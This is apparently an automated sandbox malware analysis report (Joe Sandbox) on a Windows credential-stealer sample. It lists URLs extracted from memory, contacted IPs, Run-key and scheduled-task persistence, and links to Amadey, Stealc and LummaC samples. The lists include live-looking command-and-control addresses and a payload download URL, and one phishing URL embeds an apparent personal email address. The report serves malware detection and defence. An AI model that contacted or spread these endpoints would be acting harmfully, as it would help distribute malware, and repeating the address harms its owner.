https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.leboncoin.fr/	firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000003.2809646575.000002349591E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/hT	2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.3027734740.000002348AC27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/WC	2235d4f703.exe, 00000009.00000003.2793038580.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2715582287.0000000001235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()	firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000002.2972813755.000002348A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2851793523.000002348D9F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000019.00000002.3045686159.000002348B76D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/default.aspx?rru=compose&to=%sAttempted	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/UPDATE	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000003.2751068754.000002348D100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 00000019.00000003.2851593138.000002348DAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B76D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/v=	86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://property-imper.sbs:443/api	2235d4f703.exe, 00000009.00000003.2738474191.0000000001235000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://api.accounts.firefox.com/v1	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/	firefox.exe, 00000019.00000003.2809217950.000002349597F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 00000019.00000002.2972813755.000002348A452000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://email.seznam.cz/newMessageScreen?mailto=%sresource://gre/modules/PrivateBrowsingUtils.sys.mj	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apite	2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2793038580.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2738474191.0000000001223000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php9&T	86526d7b20.exe, 0000000A.00000002.2688574615.0000000000707000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000019.00000002.3027734740.000002348ACE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	2235d4f703.exe, 00000009.00000003.2859665308.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3002813792.00000000013FD000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.3009828676.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000019.00000003.2809646575.000002349591E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	2235d4f703.exe, 00000009.00000003.2603962123.0000000005884000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2734985175.0000000005B25000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000001A.00000003.2851568099.0000000005952000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://property-imper.sbs/apie	2235d4f703.exe, 00000009.00000003.2656642315.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629911709.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629461937.0000000001223000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/dashboard	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://.css	2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000019.00000003.2803157029.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2915309184.000002348E2E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2803157029.00000234956D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809785226.000002348FB3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2878220969.000002348E18E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2902363183.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2878220969.000002348E17A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2878220969.000002348E1D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A425000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.0000023495554000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2806985010.00000234956D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3027734740.000002348AC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2915309184.000002348E2C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2800305159.00000234956E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2800424280.00000234956C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2801426526.00000234956E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/	firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://coverage.mozilla.org	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/	firefox.exe, 00000019.00000002.3017099096.000002348A703000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/mdnFeatureGate	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.162.84	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561305
Start date and time:	2024-11-23 03:19:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	64
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@132/18@107/17
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 23.32.238.232, 35.80.238.59, 52.12.64.98, 35.164.125.63, 172.217.19.227, 74.125.205.84, 172.217.17.46, 184.30.17.189, 172.217.19.238, 2.20.41.214, 34.104.35.123, 20.42.73.31, 216.58.208.234, 142.250.181.106, 142.250.181.74, 172.217.17.42, 142.250.181.42, 172.217.21.42, 142.250.181.10, 172.217.19.10, 172.217.17.74, 172.217.19.234, 142.250.181.138, 172.217.19.202, 23.32.238.130, 2.19.198.56, 88.221.134.155, 88.221.134.209, 172.217.17.35
Excluded domains from analysis (whitelisted): ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, clientservices.googleapis.com, browser.events.data.trafficmanager.net, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, learn.microsoft.com, onedscolprdeus21.eastus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, mdec.nelreports.net.akamaized.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, safebrowsing.googleapis.com, clients1.google.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events
Execution Graph export aborted for target 2235d4f703.exe, PID 2132 because there are no executed function
Execution Graph export aborted for target 2235d4f703.exe, PID 8096 because there are no executed function
Execution Graph export aborted for target 86526d7b20.exe, PID 3428 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7036 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2124 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6460 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:20:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
02:21:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2235d4f703.exe C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe
02:21:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2235d4f703.exe C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe
02:21:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 86526d7b20.exe C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe
02:21:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9afe8d29fa.exe C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe
02:22:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d0d78d3fdb.exe C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe
02:22:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 86526d7b20.exe C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe
02:22:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9afe8d29fa.exe C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe
02:22:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d0d78d3fdb.exe C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe
02:23:06	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
21:21:00	API Interceptor	17915022x Sleep call for process: skotes.exe modified
21:21:29	API Interceptor	422x Sleep call for process: 2235d4f703.exe modified
21:21:49	API Interceptor	863752x Sleep call for process: 2a8b7e5b78.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC	Browse
